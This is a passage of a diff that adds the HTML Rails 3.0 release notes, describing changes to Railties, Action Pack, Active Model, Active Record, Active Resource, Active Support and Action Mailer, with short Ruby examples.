+<p>Railties was updated to provide a consistent plugin <span class="caps">API</span> for the entire Rails framework as well as a total rewrite of generators and the Rails bindings, the result is that developers can now hook into any significant stage of the generators and application framework in a consistent, defined manner.</p>
+<h4 id="all-rails-core-components-are-decoupled">3.2 All Rails core components are decoupled</h4>
+<p>With the merge of Merb and Rails, one of the big jobs was to remove the tight coupling between Rails core components.  This has now been achieved, and all Rails core components are now using the same <span class="caps">API</span> that you can use for developing plugins.  This means any plugin you make, or any core component replacement (like DataMapper or Sequel) can access all the functionality that the Rails core components have access to and extend and enhance at will.</p>
+<p>More information: &#8211; <a href="http://yehudakatz.com/2009/07/19/rails-3-the-great-decoupling/">The Great Decoupling</a></p>
+<h4 id="active-model-abstraction">3.3 Active Model Abstraction</h4>
+<p>Part of decoupling the core components was extracting all ties to Active Record from Action Pack.  This has now been completed. All new <span class="caps">ORM</span> plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.</p>
+<p>More information: &#8211; <a href="http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/">Make Any Ruby Object Feel Like ActiveRecord</a></p>
+<h4 id="controller-abstraction">3.4 Controller Abstraction</h4>
+<p>Another big part of decoupling the core components was creating a base superclass that is separated from the notions of <span class="caps">HTTP</span> in order to handle rendering of views etc.  This creation of <tt>AbstractController</tt> allowed <tt>ActionController</tt> and <tt>ActionMailer</tt> to be greatly simplified with common code removed from all these libraries and put into Abstract Controller.</p>
+<p>More Information: &#8211; <a href="http://yehudakatz.com/2009/06/11/rails-edge-architecture/">Rails Edge Architecture</a></p>
+<h4 id="arel-integration">3.5 Arel Integration</h4>
+<p><a href="http://github.com/brynary/arel">Arel</a> (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails.  Arel provides an <span class="caps">SQL</span> abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record.</p>
+<p>More information: &#8211; <a href="http://magicscalingsprinkles.wordpress.com/2010/01/28/why-i-wrote-arel/">Why I wrote Arel</a>.</p>
+<h4 id="mail-extraction">3.6 Mail Extraction</h4>
+<p>Action Mailer ever since its beginnings has had monkey patches, pre parsers and even delivery and receiver agents, all in addition to having TMail vendored in the source tree.  Version 3 changes that with all email message related functionality abstracted out to the <a href="http://github.com/mikel/mail">Mail</a> gem.  This again reduces code duplication and helps create definable boundaries between Action Mailer and the email parser.</p>
+<p>More information: &#8211; <a href="http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3">New Action Mailer <span class="caps">API</span> in Rails 3</a></p>
+<h3 id="documentation">4 Documentation</h3>
+<p>The documentation in the Rails tree is being updated with all the <span class="caps">API</span> changes, additionally, the <a href="http://edgeguides.rubyonrails.org/">Rails Edge Guides</a> are being updated one by one to reflect the changes in Rails 3.0.  The guides at <a href="http://guides.rubyonrails.org/">guides.rubyonrails.org</a> however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released).</p>
+<p>More Information: &#8211; <a href="http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects">Rails Documentation Projects</a>.</p>
+<h3 id="internationalization">5 Internationalization</h3>
+<p>A large amount of work has been done with I18n support in Rails 3, including the latest <a href="http://github.com/svenfuchs/i18n">I18n</a> gem supplying many speed improvements.</p>
+<ul>
+	<li>I18n for any object &#8211; I18n behavior can be added to any object by including <tt>ActiveModel::Translation</tt> and <tt>ActiveModel::Validations</tt>.  There is also an <tt>errors.messages</tt> fallback for translations.</li>
+	<li>Attributes can have default translations.</li>
+	<li>Form Submit Tags automatically pull the correct status (Create or Update) depending on the object status, and so pull the correct translation.</li>
+	<li>Labels with I18n also now work by just passing the attribute name.</li>
+</ul>
+<p>More Information: &#8211; <a href="http://blog.plataformatec.com.br/2010/02/rails-3-i18n-changes/">Rails 3 I18n changes</a></p>
+<h3 id="railties">6 Railties</h3>
+<p>With the decoupling of the main Rails frameworks, Railties got a huge overhaul so as to make linking up frameworks, engines or plugins as painless and extensible as possible:</p>
+<ul>
+	<li>Each application now has its own name space, application is started with <tt>YourAppName.boot</tt> for example, makes interacting with other applications a lot easier.</li>
+	<li>Anything under <tt>Rails.root/app</tt> is now added to the load path, so you can make <tt>app/observers/user_observer.rb</tt> and Rails will load it without any modifications.</li>
+	<li>Rails 3.0 now provides a <tt>Rails.config</tt> object, which provides a central repository of all sorts of Rails wide configuration options.</li>
+</ul>
+<p>Application generation has received extra flags allowing you to skip the installation of test-unit, Active Record, Prototype and Git.  Also a new <tt>&#8212;dev</tt> flag has been added which sets the application up with the <tt>Gemfile</tt> pointing to your Rails checkout (which is determined by the path to the <tt>rails</tt> binary).  See <tt>rails &#8212;help</tt> for more info.</p>
+<p>Railties generators got a huge amount of attention in Rails 3.0, basically:</p>
+<ul>
+	<li>Generators were completely rewritten and are backwards incompatible.</li>
+	<li>Rails templates <span class="caps">API</span> and generators <span class="caps">API</span> were merged (they are the same as the former).</li>
+	<li>Generators are no longer loaded from special paths anymore, they are just found in the Ruby load path, so calling <tt>rails generate foo</tt> will look for <tt>generators/foo_generator</tt>.</li>
+	<li>New generators provide hooks, so any template engine, <span class="caps">ORM</span>, test framework can easily hook in.</li>
+	<li>New generators allow you to override the templates by placing a copy at <tt>Rails.root/lib/templates</tt>.</li>
+	<li><tt>Rails::Generators::TestCase</tt> is also supplied so you can create your own generators and test them.</li>
+</ul>
+<p>Also, the views generated by Railties generators had some overhaul:</p>
+<ul>
+	<li>Views now use <tt>div</tt> tags instead of <tt>p</tt> tags.</li>
+	<li>Scaffolds generated now make use of <tt>_form</tt> partials, instead of duplicated code in the edit and new views.</li>
+	<li>Scaffold forms now use <tt>f.submit</tt> which returns &#8220;Create ModelName&#8221; or &#8220;Update ModelName&#8221; depending on the state of the object passed in.</li>
+</ul>
+<p>Finally a couple of enhancements were added to the rake tasks:</p>
+<ul>
+	<li><tt>rake db:forward</tt> was added, allowing you to roll forward your migrations individually or in groups.</li>
+	<li><tt>rake routes <span class="caps">CONTROLLER</span>=x</tt> was added allowing you to just view the routes for one controller.</li>
+</ul>
+<p>Railties now deprecates:</p>
+<ul>
+	<li><tt>RAILS_ROOT</tt> in favor of <tt>Rails.root</tt>,</li>
+	<li><tt>RAILS_ENV</tt> in favor of <tt>Rails.env</tt>, and</li>
+	<li><tt>RAILS_DEFAULT_LOGGER</tt> in favor of <tt>Rails.logger</tt>.</li>
+</ul>
+<p><tt><span class="caps">PLUGIN</span>/rails/tasks</tt>, and <tt><span class="caps">PLUGIN</span>/tasks</tt> are no longer loaded all tasks now must be in <tt><span class="caps">PLUGIN</span>/lib/tasks</tt>.</p>
+<p>More information:</p>
+<ul>
+	<li><a href="http://blog.plataformatec.com.br/2010/01/discovering-rails-3-generators">Discovering Rails 3 generators</a></li>
+	<li><a href="http://caffeinedd.com/guides/331-making-generators-for-rails-3-with-thor">Making Generators for Rails 3 with Thor</a></li>
+	<li><a href="http://litanyagainstfear.com/blog/2010/02/03/the-rails-module/" title="in Rails 3">The Rails Module</a></li>
+</ul>
+<h3 id="action-pack">7 Action Pack</h3>
+<p>There have been significant internal and external changes in Action Pack.</p>
+<h4 id="abstract-controller">7.1 Abstract Controller</h4>
+<p>Abstract Controller pulls out the generic parts of Action Controller into a reusable module that any library can use to render templates, render partials, helpers, translations, logging, any part of the request response cycle.  This abstraction allowed <tt>ActionMailer::Base</tt> to now just inherit from <tt>AbstractController</tt> and just wrap the Rails <span class="caps">DSL</span> onto the Mail gem.</p>
+<p>It also provided an opportunity to clean up Action Controller, abstracting out what could to simplify the code.</p>
+<p>Note however that Abstract Controller is not a user facing <span class="caps">API</span>, you will not run into it in your day to day use of Rails.</p>
+<p>More Information: &#8211; <a href="http://yehudakatz.com/2009/06/11/rails-edge-architecture/">Rails Edge Architecture</a></p>
+<h4 id="action-controller">7.2 Action Controller</h4>
+<ul>
+	<li><tt>application_controller.rb</tt> now has <tt>protect_from_forgery</tt> on by default.</li>
+	<li>The <tt>cookie_verifier_secret</tt> has been deprecated and now instead it is assigned through <tt>Rails.application.config.cookie_secret</tt> and moved into its own file: <tt>config/initializers/cookie_verification_secret.rb</tt>.</li>
+	<li>The <tt>session_store</tt> was configured in <tt>ActionController::Base.session</tt>, and that is now moved to <tt>Rails.application.config.session_store</tt>. Defaults are set up in <tt>config/initializers/session_store.rb</tt>.</li>
+	<li><tt>cookies.secure</tt> allowing you to set encrypted values in cookies with <tt>cookie.secure[:key] =&gt; value</tt>.</li>
+	<li><tt>cookies.permanent</tt> allowing you to set permanent values in the cookie hash <tt>cookie.permanent[:key] =&gt; value</tt> that raise exceptions on signed values if verification failures.</li>
+	<li>You can now pass <tt>:notice =&gt; &#8216;This is a flash message&#8217;</tt> or <tt>:alert =&gt; &#8216;Something went wrong&#8217;</tt> to the <tt>format</tt> call inside a <tt>respond_to</tt> block.  The <tt>flash[]</tt> hash still works as previously.</li>
+	<li><tt>respond_with</tt> method has now been added to your controllers simplifying the venerable <tt>format</tt> blocks.</li>
+	<li><tt>ActionController::Responder</tt> added allowing you flexibility in how your responses get generated.</li>
+</ul>
+<p>Deprecations:</p>
+<ul>
+	<li><tt>filter_parameter_logging</tt> is deprecated in favor of <tt>config.filter_parameters &lt;&lt; :password</tt>.</li>
+</ul>
+<p>More Information:</p>
+<ul>
+	<li><a href="http://www.engineyard.com/blog/2010/render-options-in-rails-3/">Render Options in Rails 3</a></li>
+	<li><a href="http://weblog.rubyonrails.org/2009/8/31/three-reasons-love-responder">Three reasons to love ActionController::Responder</a></li>
+</ul>
+<h4 id="action-dispatch">7.3 Action Dispatch</h4>
+<p>Action Dispatch is new in Rails 3.0 and provides a new, cleaner implementation for routing.</p>
+<ul>
+	<li>Big clean up and re-write of the router, the Rails router is now <tt>rack_mount</tt> with a Rails <span class="caps">DSL</span> on top, it is a stand alone piece of software.</li>
+	<li>Routes defined by each application are now name spaced within your Application module, that is:</li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Instead of:
+
+ActionController::Routing::Routes.draw do |map|
+  map.resources :posts
+end
+
+# You do:
+
+AppName::Application.routes do
+  resources :posts
+end
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>Added <tt>match</tt> method to the router, you can also pass any Rack application to the matched route.</li>
+	<li>Added <tt>constraints</tt> method to the router, allowing you to guard routers with defined constraints.</li>
+	<li>Added <tt>scope</tt> method to the router, allowing you to namespace routes for different languages or different actions, for example:</li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+scope 'es' do
+  resources :projects, :path_names =&gt; { :edit =&gt; 'cambiar' }, :path =&gt; 'projeto'
+end
+
+# Gives you the edit action with /es/projeto/1/cambiar
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>Added <tt>root</tt> method to the router as a short cut for <tt>match &#8216;/&#8217;, :to =&gt; path</tt>.</li>
+	<li>You can pass optional segments into the match, for example <tt>match &#8220;/:controller(/:action(/:id))(.:format)&#8221;</tt>, each parenthesized segment is optional.</li>
+	<li>Routes can be expressed via blocks, for example you can call <tt>controller :home { match &#8216;/:action&#8217; }</tt>.</li>
+</ul>
+<div class='note'><p>The old style <tt>map</tt> commands still work as before with a backwards compatibility layer, however this will be removed in the 3.1 release.</p></div>
+<p>Deprecations</p>
+<ul>
+	<li>The catch all route for non-<span class="caps">REST</span> applications (<tt>/:controller/:action/:id</tt>) is now commented out.</li>
+	<li>Routes :path_prefix no longer exists and :name_prefix now automatically adds &#8220;_&#8221; at the end of the given value.</li>
+</ul>
+<p>More Information:</p>
+<ul>
+	<li><a href="http://yehudakatz.com/2009/12/26/the-rails-3-router-rack-it-up/">The Rails 3 Router: Rack it Up</a></li>
+	<li><a href="http://rizwanreza.com/2009/12/20/revamped-routes-in-rails-3">Revamped Routes in Rails 3</a></li>
+	<li><a href="http://yehudakatz.com/2009/12/20/generic-actions-in-rails-3/">Generic Actions in Rails 3</a></li>
+</ul>
+<h4 id="action-view">7.4 Action View</h4>
+<h5 id="unobtrusive-javascript">7.4.1 Unobtrusive JavaScript</h5>
+<p>Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (<span class="caps">UJS</span>) hooks and removing the old inline <span class="caps">AJAX</span> commands.  This enables Rails to use any compliant <span class="caps">UJS</span> driver to implement the <span class="caps">UJS</span> hooks in the helpers.</p>
+<p>What this means is that all previous <tt>remote_&lt;method&gt;</tt> helpers have been removed from Rails core and put into the <a href="http://github.com/rails/prototype_legacy_helper">Prototype Legacy Helper</a>.  To get <span class="caps">UJS</span> hooks into your <span class="caps">HTML</span>, you now pass <tt>:remote =&gt; true</tt> instead.  For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+form_for @post, :remote =&gt; true
+</pre>
+</div>
+</notextile>
+
+<p>Produces:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;form action=&quot;http://host.com&quot; id=&quot;create-post&quot; method=&quot;post&quot; data-remote=&quot;true&quot;&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="helpers-with-blocks">7.4.2 Helpers with Blocks</h5>
+<p>Helpers like <tt>form_for</tt> or <tt>div_for</tt> that insert content from a block use <tt>&lt;%=</tt> now:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= form_for @post do |f| %&gt;
+  ...
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Your own helpers of that kind are expected to return a string, rather than appending to the output buffer by hand.</p>
+<p>Helpers that do something else, like <tt>cache</tt> or <tt>content_for</tt>, are not affected by this change, they need <tt>&lt;%</tt> as before.</p>
+<h5 id="other-changes">7.4.3 Other Changes</h5>
+<ul>
+	<li>You no longer need to call <tt>h(string)</tt> to escape <span class="caps">HTML</span> output, it is on by default in all view templates. If you want the unescaped string, call <tt>raw(string)</tt>.</li>
+	<li>Helpers now output <span class="caps">HTML</span> 5 by default.</li>
+	<li>Form label helper now pulls values from I18n with a single value, so <tt>f.label :name</tt> will pull the <tt>:name</tt> translation.</li>
+	<li>I18n select label on should now be :en.helpers.select instead of :en.support.select.</li>
+	<li>You no longer need to place a minus sign at the end of a ruby interpolation inside an ERb template to remove the trailing carriage return in the <span class="caps">HTML</span> output.</li>
+	<li>Added <tt>grouped_collection_select</tt> helper to Action View.</li>
+	<li><tt>content_for?</tt> has been added allowing you to check for the existence of content in a view before rendering.</li>
+	<li>passing <tt>:value => nil</tt> to form helpers will set the field&#8217;s <tt>value</tt> attribute to nil as opposed to using the default value</li>
+	<li>passing <tt>:id => nil</tt> to form helpers will cause those fields to be rendered with no <tt>id</tt> attribute</li>
+	<li>passing <tt>:alt => nil</tt> to <tt>image_tag</tt> will cause the <tt>img</tt> tag to render with no <tt>alt</tt> attribute</li>
+</ul>
+<h3 id="active-model">8 Active Model</h3>
+<p>Active Model is new in Rails 3.0.  It provides an abstraction layer for any <span class="caps">ORM</span> libraries to use to interact with Rails by implementing an Active Model interface.</p>
+<h4 id="orm-abstraction-and-action-pack-interface">8.1 <span class="caps">ORM</span> Abstraction and Action Pack Interface</h4>
+<p>Part of decoupling the core components was extracting all ties to Active Record from Action Pack.  This has now been completed. All new <span class="caps">ORM</span> plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.</p>
+<p>More Information: &#8211; <a href="http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/">Make Any Ruby Object Feel Like ActiveRecord</a></p>
+<h4 id="validations">8.2 Validations</h4>
+<p>Validations have been moved from Active Record into Active Model, providing an interface to validations that works across <span class="caps">ORM</span> libraries in Rails 3.</p>
+<ul>
+	<li>There is now a <tt>validates :attribute, options_hash</tt> shortcut method that allows you to pass options for all the validates class methods, you can pass more than one option to a validate method.</li>
+	<li>The <tt>validates</tt> method has the following options:</li>
+	<li><tt>:acceptance =&gt; Boolean</tt>.</li>
+	<li><tt>:confirmation =&gt; Boolean</tt>.</li>
+	<li><tt>:exclusion =&gt; { :in =&gt; Enumerable }</tt>.</li>
+	<li><tt>:inclusion =&gt; { :in =&gt; Enumerable }</tt>.</li>
+	<li><tt>:format =&gt; { :with =&gt; Regexp, :on =&gt; :create }</tt>.</li>
+	<li><tt>:length =&gt; { :maximum =&gt; Fixnum }</tt>.</li>
+	<li><tt>:numericality =&gt; Boolean</tt>.</li>
+	<li><tt>:presence =&gt; Boolean</tt>.</li>
+	<li><tt>:uniqueness =&gt; Boolean</tt>.</li>
+</ul>
+<div class='note'><p>All the Rails version 2.3 style validation methods are still supported in Rails 3.0, the new validates method is designed as an additional aid in your model validations, not a replacement for the existing <span class="caps">API</span>.</p></div>
+<p>You can also pass in a validator object, which you can then reuse between objects that use Active Model:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class TitleValidator &lt; ActiveModel::EachValidator
+  Titles = ['Mr.', 'Mrs.', 'Dr.']
+  def validate_each(record, attribute, value)
+    unless Titles.include?(value)
+      record.errors[attribute] &lt;&lt; 'must be a valid title'
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person
+  include ActiveModel::Validations
+  attr_accessor :title
+  validates :title, :presence =&gt; true, :title =&gt; true
+end
+
+# Or for Active Record
+
+class Person &lt; ActiveRecord::Base
+  validates :title, :presence =&gt; true, :title =&gt; true
+end
+</pre>
+</div>
+</notextile>
+
+<p>There&#8217;s also support for introspection:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+User.validators
+User.validators_on(:login)
+</pre>
+</div>
+</notextile>
+
+<p>More Information:</p>
+<ul>
+	<li><a href="http://thelucid.com/2010/01/08/sexy-validation-in-edge-rails-rails-3/">Sexy Validation in Rails 3</a></li>
+	<li><a href="http://lindsaar.net/2010/1/31/validates_rails_3_awesome_is_true">Rails 3 Validations Explained</a></li>
+</ul>
+<h3 id="active-record">9 Active Record</h3>
+<p>Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates and many enhancements and fixes.  All of the Rails 2.x <span class="caps">API</span> will be usable through a compatibility layer that will be supported until version 3.1.</p>
+<h4 id="query-interface">9.1 Query Interface</h4>
+<p>Active Record, through the use of Arel, now returns relations on its core methods.  The existing <span class="caps">API</span> in Rails 2.3.x is still supported and will not be deprecated until Rails 3.1 and not removed until Rails 3.2, however, the new <span class="caps">API</span> provides the following new methods that all return relations allowing them to be chained together:</p>
+<ul>
+	<li><tt>where</tt> &#8211; provides conditions on the relation, what gets returned.</li>
+	<li><tt>select</tt> &#8211; choose what attributes of the models you wish to have returned from the database.</li>
+	<li><tt>group</tt> &#8211; groups the relation on the attribute supplied.</li>
+	<li><tt>having</tt> &#8211; provides an expression limiting group relations (<span class="caps">GROUP</span> BY constraint).</li>
+	<li><tt>joins</tt> &#8211; joins the relation to another table.</li>
+	<li><tt>clause</tt> &#8211; provides an expression limiting join relations (<span class="caps">JOIN</span> constraint).</li>
+	<li><tt>includes</tt> &#8211; includes other relations pre-loaded.</li>
+	<li><tt>order</tt> &#8211; orders the relation based on the expression supplied.</li>
+	<li><tt>limit</tt> &#8211; limits the relation to the number of records specified.</li>
+	<li><tt>lock</tt> &#8211; locks the records returned from the table.</li>
+	<li><tt>readonly</tt> &#8211; returns an read only copy of the data.</li>
+	<li><tt>from</tt> &#8211; provides a way to select relationships from more than one table.</li>
+	<li><tt>scope</tt> &#8211; (previously <tt>named_scope</tt>) return relations and can be chained together with the other relation methods.</li>
+	<li><tt>with_scope</tt> &#8211; and <tt>with_exclusive_scope</tt> now also return relations and so can be chained.</li>
+	<li><tt>default_scope</tt> &#8211; also works with relations.</li>
+</ul>
+<p>More Information:</p>
+<ul>
+	<li><a href="http://m.onkey.org/2010/1/22/active-record-query-interface">Active Record Query Interface</a></li>
+	<li><a href="http://hasmanyquestions.wordpress.com/2010/01/17/let-your-sql-growl-in-rails-3/">Let your <span class="caps">SQL</span> Growl in Rails 3</a></li>
+</ul>
+<h4 id="enhancements">9.2 Enhancements</h4>
+<ul>
+	<li>Added <tt>:destroyed?</tt> to Active Record objects.</li>
+	<li>Added <tt>:inverse_of</tt> to Active Record associations allowing you to pull the instance of an already loaded association without hitting the database.</li>
+</ul>
+<h4 id="patches-and-deprecations">9.3 Patches and Deprecations</h4>
+<p>Additionally, many fixes in the Active Record branch:</p>
+<ul>
+	<li>SQLite 2 support has been dropped in favor of SQLite 3.</li>
+	<li>MySQL support for column order.</li>
+	<li>PostgreSQL adapter has had its <tt>TIME ZONE</tt> support fixed so it no longer inserts incorrect values.</li>
+	<li>Support multiple schemas in table names for PostgreSQL.</li>
+	<li>PostgreSQL support for the <span class="caps">XML</span> data type column.</li>
+	<li><tt>table_name</tt> is now cached.</li>
+	<li>A large amount of work done on the Oracle adapter as well with many bug fixes.</li>
+</ul>
+<p>As well as the following deprecations:</p>
+<ul>
+	<li><tt>named_scope</tt> in an Active Record class is deprecated and has been renamed to just <tt>scope</tt>.</li>
+	<li>In <tt>scope</tt> methods, you should move to using the relation methods, instead of a <tt>:conditions =&gt; {}</tt> finder method, for example <tt>scope :since, lambda {|time| where(&#8220;created_at &gt; ?&#8221;, time) }</tt>.</li>
+	<li><tt>save(false)</tt> is deprecated, in favor of <tt>save(:validate =&gt; false)</tt>.</li>
+	<li>I18n error messages for ActiveRecord should be changed from :en.activerecord.errors.template to <tt>:en.errors.template</tt>.</li>
+	<li><tt>model.errors.on</tt> is deprecated in favor of <tt>model.errors[]</tt></li>
+	<li>validates_presence_of =&gt; validates&#8230; :presence =&gt; true</li>
+	<li><tt>ActiveRecord::Base.colorize_logging</tt> and <tt>config.active_record.colorize_logging</tt> are deprecated in favor of <tt>Rails::LogSubscriber.colorize_logging</tt> or <tt>config.colorize_logging</tt></li>
+</ul>
+<div class='note'><p>While an implementation of State Machine has been in Active Record edge for some months now, it has been removed from the Rails 3.0 release.</p></div>
+<h3 id="active-resource">10 Active Resource</h3>
+<p>Active Resource was also extracted out to Active Model allowing you to use Active Resource objects with Action Pack seamlessly.</p>
+<ul>
+	<li>Added validations through Active Model.</li>
+	<li>Added observing hooks.</li>
+	<li><span class="caps">HTTP</span> proxy support.</li>
+	<li>Added support for digest authentication.</li>
+	<li>Moved model naming into Active Model.</li>
+	<li>Changed Active Resource attributes to a Hash with indifferent access.</li>
+	<li>Added <tt>first</tt>, <tt>last</tt> and <tt>all</tt> aliases for equivalent find scopes.</li>
+	<li><tt>find_every</tt> now does not return a <tt>ResourceNotFound</tt> error if nothing returned.</li>
+	<li>Added <tt>save!</tt> which raises <tt>ResourceInvalid</tt> unless the object is <tt>valid?</tt>.</li>
+	<li><tt>update_attribute</tt> and <tt>update_attributes</tt> added to Active Resource models.</li>
+	<li>Added <tt>exists?</tt>.</li>
+	<li>Renamed <tt>SchemaDefinition</tt> to <tt>Schema</tt> and <tt>define_schema</tt> to <tt>schema</tt>.</li>
+	<li>Use the <tt>format</tt> of Active Resources rather than the <tt>content-type</tt> of remote errors to load errors.</li>
+	<li>Use <tt>instance_eval</tt> for schema block.</li>
+	<li>Fix <tt>ActiveResource::ConnectionError#to_s</tt> when <tt>@response</tt> does not respond to #code or #message, handles Ruby 1.9 compatibility.</li>
+	<li>Add support for errors in <span class="caps">JSON</span> format.</li>
+	<li>Ensure <tt>load</tt> works with numeric arrays.</li>
+	<li>Recognizes a 410 response from remote resource as the resource has been deleted.</li>
+	<li>Add ability to set <span class="caps">SSL</span> options on Active Resource connections.</li>
+	<li>Setting connection timeout also affects <tt>Net::HTTP</tt> <tt>open_timeout</tt>.</li>
+</ul>
+<p>Deprecations:</p>
+<ul>
+	<li><tt>save(false)</tt> is deprecated, in favor of <tt>save(:validate =&gt; false)</tt>.</li>
+	<li>Ruby 1.9.2: <tt><span class="caps">URI</span>.parse</tt> and <tt>.decode</tt> are deprecated and are no longer used in the library.</li>
+</ul>
+<h3 id="active-support">11 Active Support</h3>
+<p>A large effort was made in Active Support to make it cherry pickable, that is, you no longer have to require the entire Active Support library to get pieces of it.  This allows the various core components of Rails to run slimmer.</p>
+<p>These are the main changes in Active Support:</p>
+<ul>
+	<li>Large clean up of the library removing unused methods throughout.</li>
+	<li>Active Support no longer provides vendored versions of <a href="http://tzinfo.rubyforge.org/">TZInfo</a>, <a href="http://deveiate.org/projects/RMemCache/">Memcache Client</a> and <a href="http://builder.rubyforge.org/">Builder</a>, these are all included as dependencies and installed via the <tt>bundle install</tt> command.</li>
+	<li>Safe buffers are implemented in <tt>ActiveSupport::SafeBuffer</tt>.</li>
+	<li>Added <tt>Array.uniq_by</tt> and <tt>Array.uniq_by!</tt>.</li>
+	<li>Removed <tt>Array#rand</tt> and backported <tt>Array#sample</tt> from Ruby 1.9.</li>
+	<li>Fixed bug on <tt>TimeZone.seconds_to_utc_offset</tt> returning wrong value.</li>
+	<li>Added <tt>ActiveSupport::Notifications</tt> middleware.</li>
+	<li><tt>ActiveSupport.use_standard_json_time_format</tt> now defaults to true.</li>
+	<li><tt>ActiveSupport.escape_html_entities_in_json</tt> now defaults to false.</li>
+	<li><tt>Integer#multiple_of?</tt> accepts zero as an argument, returns false unless the receiver is zero.</li>
+	<li><tt>string.chars</tt> has been renamed to <tt>string.mb_chars</tt>.</li>
+	<li><tt>ActiveSupport::OrderedHash</tt> now can de-serialize through <span class="caps">YAML</span>.</li>
+	<li>Added <span class="caps">SAX</span>-based parser for XmlMini, using LibXML and Nokogiri.</li>
+	<li>Added <tt>Object#presence</tt> that returns the object if it&#8217;s <tt>#present?</tt> otherwise returns <tt>nil</tt>.</li>
+	<li>Added <tt>String#exclude?</tt> core extension that returns the inverse of <tt>#include?</tt>.</li>
+	<li>Added <tt>to_i</tt> to <tt>DateTime</tt> in <tt>ActiveSupport</tt> so <tt>to_yaml</tt> works correctly on models with <tt>DateTime</tt> attributes.</li>
+	<li>Added <tt>Enumerable#exclude?</tt> to bring parity to <tt>Enumerable#include?</tt> and avoid if <tt>!x.include?</tt>.</li>
+	<li>Switch to on-by-default <span class="caps">XSS</span> escaping for rails.</li>
+	<li>Support deep-merging in <tt>ActiveSupport::HashWithIndifferentAccess</tt>.</li>
+	<li><tt>Enumerable#sum</tt> now works will all enumerables, even if they don&#8217;t respond to <tt>:size</tt>.</li>
+	<li><tt>inspect</tt> on a zero length duration returns &#8216;0 seconds&#8217; instead of empty string.</li>
+	<li>Add <tt>element</tt> and <tt>collection</tt> to <tt>ModelName</tt>.</li>
+	<li><tt>String#to_time</tt> and <tt>String#to_datetime</tt> handle fractional seconds.</li>
+	<li>Added support to new callbacks for around filter object that respond to <tt>:before</tt> and <tt>:after</tt> used in before and after callbacks.</li>
+	<li>The <tt>ActiveSupport::OrderedHash#to_a</tt> method returns an ordered set of arrays. Matches Ruby 1.9&#8217;s <tt>Hash#to_a</tt>.</li>
+	<li><tt>MissingSourceFile</tt> exists as a constant but it is now just equals to <tt>LoadError</tt>.</li>
+	<li>Added <tt>Class#class_attribute</tt>, to be able to declare a class-level attribute whose value is inheritable and overwritable by subclasses.</li>
+	<li>Finally removed <tt>DeprecatedCallbacks</tt> in <tt>ActiveRecord::Associations</tt>.</li>
+	<li><tt>Object#metaclass</tt> is now <tt>Kernel#singleton_class</tt> to match Ruby.</li>
+</ul>
+<p>The following methods have been removed because they are now available in Ruby 1.8.7 and 1.9.</p>
+<ul>
+	<li><tt>Integer#even?</tt> and <tt>Integer#odd?</tt></li>
+	<li><tt>String#each_char</tt></li>
+	<li><tt>String#start_with?</tt> and <tt>String#end_with?</tt> (3rd person aliases still kept)</li>
+	<li><tt>String#bytesize</tt></li>
+	<li><tt>Object#tap</tt></li>
+	<li><tt>Symbol#to_proc</tt></li>
+	<li><tt>Object#instance_variable_defined?</tt></li>
+	<li><tt>Enumerable#none?</tt></li>
+</ul>
+<p>The security patch for <span class="caps">REXML</span> remains in Active Support because early patch-levels of Ruby 1.8.7 still need it. Active Support knows whether it has to apply it or not.</p>
+<p>The following methods have been removed because they are no longer used in the framework:</p>
+<ul>
+	<li><tt>Kernel#daemonize</tt></li>
+	<li><tt>Object#remove_subclasses_of</tt> <tt>Object#extend_with_included_modules_from</tt>, <tt>Object#extended_by</tt></li>
+	<li><tt>Class#remove_class</tt></li>
+	<li><tt>Regexp#number_of_captures</tt>, <tt>Regexp.unoptionalize</tt>, <tt>Regexp.optionalize</tt>, <tt>Regexp#number_of_captures</tt></li>
+</ul>
+<h3 id="action-mailer">12 Action Mailer</h3>
+<p>Action Mailer has been given a new <span class="caps">API</span> with TMail being replaced out with the new <a href="http://github.com/mikel/mail">Mail</a> as the Email library.  Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched.  The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails <span class="caps">DSL</span>. This reduces the amount of code and duplication of other libraries in Action Mailer considerably.</p>
+<ul>
+	<li>All mailers are now in <tt>app/mailers</tt> by default.</li>
+	<li>Can now send email using new <span class="caps">API</span> with three methods: <tt>attachments</tt>, <tt>headers</tt> and <tt>mail</tt>.</li>
+	<li>ActionMailer now has native support for inline attachments using the <tt>attachments.inline</tt> method.</li>
+	<li>Action Mailer emailing methods now return <tt>Mail::Message</tt> objects, which can then be sent the <tt>deliver</tt> message to send itself.</li>
+	<li>All delivery methods are now abstracted out to the Mail gem.</li>
+	<li>The mail delivery method can accept a hash of all valid mail header fields with their value pair.</li>
+	<li>The <tt>mail</tt> delivery method acts in a similar way to Action Controller&#8217;s <tt>respond_to</tt>, and you can explicitly or implicitly render templates. Action Mailer will turn the email into a multipart email as needed.</li>
